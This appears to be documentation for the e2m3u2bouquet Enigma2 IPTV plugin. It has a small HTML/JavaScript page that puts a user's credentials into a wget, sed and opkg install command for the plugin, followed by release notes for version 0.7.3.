Below is an example of a simple JavaScript generator page that asks for the users username & password and then outputs the custom install line. The config.xml URL in the line towards the bottom starting ‘var installcmd’ will need edited to the correct config.xml URL and as it currently references the 0.8.3 version of the plugin, this should be updated to the current release version

<!doctype html>
<html lang="en">
 <head>
 <title>Generator Demo</title>
 <style>
 h1 {
 font-size: 1.5em
 }
 input, button {
 min-width: 72px;
 min-height: 36px;
 border: 1px solid grey;
 padding: 3px;
 }
 label, input, button {
 display: block;
 }
 input {
 margin-bottom: 1em;
 } 
 pre {
 background: #f1f1f1;
 border: 1px solid #ccc;
 overflow: auto;
 padding: 1em;
 white-space: pre-wrap;
 word-break: break-all;
 word-wrap: break-word;
 }
 .hidden {
 display: none;
 }
 </style> 
 </head>
<body>
 <h1>Generator Demo</h1>
 
 <label for="username">Username</label>
 <input id="username" placeholder="Enter Username">
 <label for="password">Password</label>
 <input id="password" placeholder="Enter Password"> 
 <button id="generate">Generate</button>
 
 <pre id="output" class="hidden"></pre>
 
 <script type="text/javascript"> 
 function onClick() { 
 var username = document.getElementById('username').value;
 var password = document.getElementById('password').value;
 var output = document.getElementById('output');
 output.classList.remove('hidden');
 
 if (inputsAreEmpty(username, password)) {
 output.textContent = 'Error: need to enter username and password';
 return;
 }
 
 var displaycmd = installcmd.replace('myusername', username).replace('mypassword', password); 
 output.textContent = displaycmd; 
 return;
 }
 
 function inputsAreEmpty(username, password) {
 if (username === '' || password === '') {
 return true;
 } else {
 return false;
 }
 }
 
 var installcmd = "wget -O /tmp/config.xml \"https://www.dropbox.com/s/<fileid>/config.xml?dl=1\" && sed -i 's/uuuuu/myusername/g' /tmp/config.xml && sed -i 's/ppppp/mypassword/g' /tmp/config.xml && opkg install --force-reinstall \"https://github.com/su1s/e2m3u2bouquet/releases/download/v0.8.3/enigma2-plugin-extensions-e2m3u2bouquet_0.8.3_all.ipk\" && reboot";
 var button = document.getElementById('generate');
 button.addEventListener('click', onClick);
 </script> 
</body>
</html>

e2m3u2bouquet 0.7.3

v0.7.3

This is a plugin release if you use the script there is no need to upgrade if you are on v0.7.1 or higher

Plugin changes

  • Fix issue with main screen showing no text on some skins
  • Add option to reset bouquets

Please note we will now no longer be maintaining or updating the list of providers that the old plugin used. From v0.7.1 the plugin uses a config file based support and supports any provider.

See the plugin page for details